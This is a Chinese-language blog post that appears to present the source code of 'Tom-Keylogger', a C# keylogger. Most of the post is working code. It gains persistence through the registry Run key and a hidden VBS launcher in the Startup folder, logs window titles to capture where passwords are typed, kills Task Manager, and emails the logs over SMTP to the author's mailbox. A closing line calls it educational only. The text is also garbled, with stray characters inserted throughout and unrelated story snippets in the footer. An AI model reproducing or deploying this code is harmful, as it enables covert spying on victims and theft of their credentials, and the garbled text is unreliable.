Tom-Keylogger(鍵盤記錄器)

trojan.jpg

前言

本keylogger是在 Email-keylogger基礎(chǔ)上進(jìn)行的二次開發(fā)。

新增加的功能有

  • win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)自啟動(dòng)
  • 實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字

若有什么不足之處乔遮,還請(qǐng)?zhí)岢鼋ㄗh捺癞,附上這個(gè) APP 的 Github 地址 Tom-Keylogger 歡迎大家 :heart: star 和 fork.

本文的主要內(nèi)容

  • 窗口句柄記錄宏邮,按鍵記錄,email效果演示
  • win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)自啟動(dòng)實(shí)現(xiàn)
  • 實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字
  • 如何成功實(shí)現(xiàn)發(fā)送txt文件到郵箱

1.窗口句柄記錄啥么,按鍵記錄 效果演示:

screenshot.png

2.email記錄效果演示

email.png

2. win10,win7系統(tǒng)下實(shí)現(xiàn)開機(jī)啟動(dòng)實(shí)現(xiàn):

(1)win7下實(shí)現(xiàn)開機(jī)啟動(dòng)

        public static void Start()
        {
            //    MessageBox.Show("設(shè)置開機(jī)自啟動(dòng)渊季,需要修改注冊(cè)表", "提示");
        
            string path = Application.ExecutablePath;
            RegistryKey rk = Registry.LocalMachine;//讀取 Windows 注冊(cè)表基項(xiàng) HKEY_LOCAL_MACHINE
            RegistryKey rk2 = rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
            rk2.SetValue("JcShutdown", path);// exe 加入開機(jī)啟動(dòng):)
            rk2.Close();
            //MessageBox.Show("Added To Started Up Successfully :) ");
        }
  • 代碼很簡(jiǎn)單栖榨,只是將啟動(dòng)的項(xiàng)目名稱靡挥、文件位置添加到啟動(dòng)項(xiàng)即可,在win7下成功實(shí)現(xiàn)蜈抓。win10下打開任務(wù)管理器中的啟動(dòng)項(xiàng)目可以發(fā)現(xiàn)該程序启绰,但是開機(jī)后程序并沒有
    運(yùn)行,這就牽扯到了第二種方法沟使。

(2)win10下實(shí)現(xiàn)開機(jī)啟動(dòng)

        public static void startup()
        {
            //Try to copy keylogger in some folders
            string source = Application.ExecutablePath.ToString();//當(dāng)前可執(zhí)行文件的路徑
            Console.WriteLine(source);
            string destination = Environment.GetFolderPath(Environment.SpecialFolder.Startup);//開機(jī)啟動(dòng)區(qū) 路徑
            Console.WriteLine(destination);
            destination = System.IO.Path.Combine(destination, "kl2.exe");// 將兩個(gè)路徑合二為一
            try
            {
                System.IO.File.Copy(source, destination, true);// 把當(dāng)前文件 復(fù)制到 開機(jī)啟動(dòng)區(qū)去
                source = destination;
            }
            catch
            {
                Console.WriteLine("No authorization to copy file or other error.");
            }
            
        }
  • 首先我寫了一個(gè)startup()函數(shù)用于將當(dāng)前的exe文件拷貝到StartUP文件夾
        public static void CopyVbs()
        {
            
            string destination1 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            string destination = System.IO.Path.Combine(destination1, "AutoStart.vbs");
            if (!System.IO.File.Exists(destination))
            {
                StreamWriter sw = new StreamWriter(destination);
                sw.WriteLine("Set shell =Wscript.createobject(\"WScript.Shell\")  ");
                sw.WriteLine("shell.Run \"kl2.exe\",0,False");
                sw.Close();
                File.SetAttributes(destination, File.GetAttributes(destination) | FileAttributes.Hidden);
            }
        }
  • 接著我寫了一個(gè)函數(shù)委可,用于在StartUp文件夾下新建一個(gè)vbs文件,然后用StreamWriter 使得該vbs的內(nèi)容為運(yùn)行kl.exe

  • 這樣腊嗡,當(dāng)開機(jī)時(shí)着倾,系統(tǒng)會(huì)自動(dòng)運(yùn)行腳本,腳本的內(nèi)容為運(yùn)行kl.exe燕少。(僅僅將kl.exe拷貝到StartUp文件夾是無法開機(jī)自啟動(dòng)的屈呕,本人親自試過)

3.實(shí)時(shí)記錄當(dāng)前用戶開啟的程序和窗口文字的實(shí)現(xiàn):

public static void GetActiveWindowTitle(object source, EventArgs e)
        {
            const int nChars = 256;     
            handle = GetForegroundWindow();
            StringBuilder Buff = new StringBuilder(nChars);
            GetWindowText(handle, Buff, nChars);          
            txt = Buff.ToString().ToCharArray();
            string t = DateTime.Now.ToString("yyyy-MM-dd H:mm:ss");
            if (!IsFileInUse(path))
            {
               // if (handle != handle1)
                if(!CheckChar(txt1,txt))
                {
                    StreamWriter ww = File.AppendText(Program.path);
                    ww.Write("\n");
                    ww.Write(t);
                    ww.Write(" ");
                    ww.WriteLine(Buff.ToString().ToCharArray());
                    ww.Close();
                   // handle1 = handle;
                    GiveChar(txt1,txt);
                }
            }
        }

算法大概是這樣的

1.用GetForegroundWindow函數(shù) 得到當(dāng)前運(yùn)行在 最前排的程序的句柄handle

2.通過GetWindowText函數(shù)將handle轉(zhuǎn)換為StringBuilder

3.然后將StringBuilder轉(zhuǎn)換為CharArray

4.接著我寫了一個(gè)CheckChar函數(shù),用于防止句柄重復(fù)寫入棺亭。代碼如下

 public static bool CheckChar(char[] a, char[] b)
{
    int m = Math.Min(a.Length, b.Length);
    for (int i = 0; i < m; i++)
    {
        if (a[i] != b[i])
        {
            return false;
        }
    }
    return true;
}

5.最后則是將CharArray寫入文件,將CharArray賦值蟋软,用于下次對(duì)比镶摘。

(網(wǎng)上的其他方法是直接對(duì)比handle來防止重復(fù)寫入,這種方法是不可取的岳守。如:當(dāng)在Google Chrome中切換標(biāo)簽時(shí)凄敢,句柄并未發(fā)生變化,CharArray發(fā)生了變化
湿痢,這時(shí)程序就無法正確監(jiān)控用戶是在哪個(gè)網(wǎng)頁(yè)輸入了密碼涝缝。這算是我在做這個(gè)功能時(shí)遇到的一個(gè)很大的坑吧~~)

4.如何成功實(shí)現(xiàn)發(fā)送txt文件到郵箱

C#作為高級(jí)語言真的很方便實(shí)現(xiàn)網(wǎng)絡(luò)編程,直接用微軟封裝好的 System.Net.Mail 就足夠了

代碼如下

        public static void OnTimedEvent(object source, EventArgs e)
        {

            Process[] ProcessList = Process.GetProcesses();//為每個(gè)進(jìn)程資源 創(chuàng)建組件
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();//關(guān)閉任務(wù)管理器
                }
            }
            //發(fā)送郵件
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("**************");
            msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
            string _ComputName = System.Net.Dns.GetHostName();
            msg.Subject = _ComputName;
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "L";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;//郵件優(yōu)先級(jí) 最高
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
            client.Port = 587;
            client.Host = "smtp.office365.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);//添加 附件
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();//釋放掉 資源 
                failed = 1;
            }
            data.Dispose();

            //if (failed == 0)
              //  File.WriteAllText(Program.path, ""); //如果發(fā)送成功 則 將txt清空  防止發(fā)送相同數(shù)據(jù)

            failed = 0;
        }
  • 你只需要將代碼中的****** 替換為自己的賬號(hào)密碼即可
  • 需要注意的是譬重,源程序中采用的smtp協(xié)議是gmail拒逮,本人親測(cè)后發(fā)現(xiàn)由于網(wǎng)絡(luò)原因無法實(shí)現(xiàn)按周期發(fā)送。
  • 多次嘗試后臀规,發(fā)現(xiàn)只有hotmail可以滿足成功實(shí)現(xiàn)滩援。但是發(fā)件箱和收件箱必須同時(shí)開啟smtp和pop3協(xié)議。

結(jié)語

以上便是我寫這個(gè) APP 的具體實(shí)現(xiàn)思路塔嬉,以及踩過的一些坑玩徊,記錄下來租悄,給大家看看。

This tutorial is for educational purposes only, please do not use this for malicious purposes.

最后附上這個(gè) APP 的 Github 地址 Tom-Keylogger 歡迎大家 star 和 fork恩袱。

如果有什么想法或者建議泣棋,非常歡迎大家來討論。


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末畔塔,一起剝皮案震驚了整個(gè)濱河市潭辈,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌俩檬,老刑警劉巖萎胰,帶你破解...
    沈念sama閱讀 217,907評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異棚辽,居然都是意外死亡技竟,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,987評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門屈藐,熙熙樓的掌柜王于貴愁眉苦臉地迎上來榔组,“玉大人,你說我怎么就攤上這事联逻〈瓿叮” “怎么了?”我有些...
    開封第一講書人閱讀 164,298評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵包归,是天一觀的道長(zhǎng)锨推。 經(jīng)常有香客問我,道長(zhǎng)公壤,這世上最難降的妖魔是什么换可? 我笑而不...
    開封第一講書人閱讀 58,586評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮厦幅,結(jié)果婚禮上沾鳄,老公的妹妹穿的比我還像新娘。我一直安慰自己确憨,他們只是感情好译荞,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,633評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著休弃,像睡著了一般吞歼。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上玫芦,一...
    開封第一講書人閱讀 51,488評(píng)論 1 302
  • 那天浆熔,我揣著相機(jī)與錄音,去河邊找鬼。 笑死医增,一個(gè)胖子當(dāng)著我的面吹牛慎皱,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播叶骨,決...
    沈念sama閱讀 40,275評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼茫多,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了忽刽?” 一聲冷哼從身側(cè)響起天揖,我...
    開封第一講書人閱讀 39,176評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎跪帝,沒想到半個(gè)月后今膊,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,619評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡伞剑,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,819評(píng)論 3 336
  • 正文 我和宋清朗相戀三年斑唬,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片黎泣。...
    茶點(diǎn)故事閱讀 39,932評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡恕刘,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出抒倚,到底是詐尸還是另有隱情褐着,我是刑警寧澤,帶...
    沈念sama閱讀 35,655評(píng)論 5 346
  • 正文 年R本政府宣布托呕,位于F島的核電站含蓉,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏项郊。R本人自食惡果不足惜谴餐,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,265評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望呆抑。 院中可真熱鬧,春花似錦汁展、人聲如沸鹊碍。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,871評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)侈咕。三九已至,卻和暖如春器紧,著一層夾襖步出監(jiān)牢的瞬間耀销,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,994評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工铲汪, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留熊尉,地道東北人罐柳。 一個(gè)月前我還...
    沈念sama閱讀 48,095評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像狰住,于是被迫代替她去往敵國(guó)和親张吉。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,884評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 1催植、引導(dǎo)方式1)uefi是新式的BIOS肮蛹,legacy是傳統(tǒng)BIOS;2)UEFI下安裝的系統(tǒng)只能用UEFI模式進(jìn)...
    松舍問霞閱讀 505評(píng)論 0 0
  • 看標(biāo)題或許你會(huì)問移動(dòng)硬盤不就是儲(chǔ)存資料的嗎创南?一般我們會(huì)把電影伦忠,音樂,各種文件儲(chǔ)存在里面 如果只是這樣那你低估了移動(dòng)...
    安哥的blog閱讀 2,794評(píng)論 1 7
  • 這是一個(gè)簡(jiǎn)單的應(yīng)急響應(yīng)場(chǎng)景稿辙,介紹下基礎(chǔ)的一些東西昆码,分為Windows和Linux,系統(tǒng)日志和Apache日志都已被...
    LMcream閱讀 827評(píng)論 0 9
  • 使用電腦這么多年邓深,我覺得有兩條原則還是蠻重要的未桥,套用喬幫主的話: Stay simple, stay smooth...
    阿穎sxcw閱讀 8,982評(píng)論 85 315
  • 我是黑夜里大雨紛飛的人啊 1 “又到一年六月,有人笑有人哭芥备,有人歡樂有人憂愁冬耿,有人驚喜有人失落,有的覺得收獲滿滿有...
    陌忘宇閱讀 8,536評(píng)論 28 53